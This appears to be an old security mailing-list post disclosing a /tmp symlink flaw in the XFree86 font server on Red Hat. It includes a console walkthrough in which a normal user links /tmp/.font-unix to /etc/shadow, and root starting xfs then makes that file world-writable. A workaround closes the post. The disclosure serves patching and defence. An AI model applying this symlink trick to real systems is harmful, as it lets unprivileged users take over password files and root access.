Hello, I hope that's information will be useful for making new patch for XFree86. I found bug in xfs (Packet XFree86-xfs-3.3.3.1-1 in RedHat 5.1 and probably in RedHat 5.2 updates, too) Xfs is a font server for XFree86, it's also create directory in /tmp That directory name .font-unix Let's make a little check: On first console (I logged as a normal user) [lukasz@lt /tmp]$ cat /etc/shadow cat: /etc/shadow: Permission denied [lukasz@lt /tmp]$ ls -all /etc/shadow -r-------- 1 root root 544 Mar 30 00:04 /etc/shadow [lukasz@lt /tmp]$ ll total 2 drwxrwxrwt 2 root root 1024 Mar 30 00:05 . drwxr-xr-x 18 root root 1024 Mar 23 00:10 .. lrwxrwxrwx 1 lukasz users 11 Mar 30 00:05 .font-unix -> /etc/shadow On second console, as root [root@lt /root]# xfs & [1] 2021 [root@lt /root]# _FontTransSocketCreateListener: failed to bind listener _FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed _FontTransMakeAllCOTSServerListeners: failed to create listener for local On first console: [lukasz@lt /tmp]$ ls -all /etc/shadow -rwxrwxrwt 1 root root 544 Mar 30 00:04 /etc/shadow ^^^^^^^^^^^ That's all ;) Solution, As root before run xfs, make rm -rf /tmp/.font-unix Sorry for my broken English ;( _[ Lukasz Trabinski ]_ PgP Key: finger:lukasz () oceanic wsisiz edu pl, SysAdmin @wsisiz.edu.pl
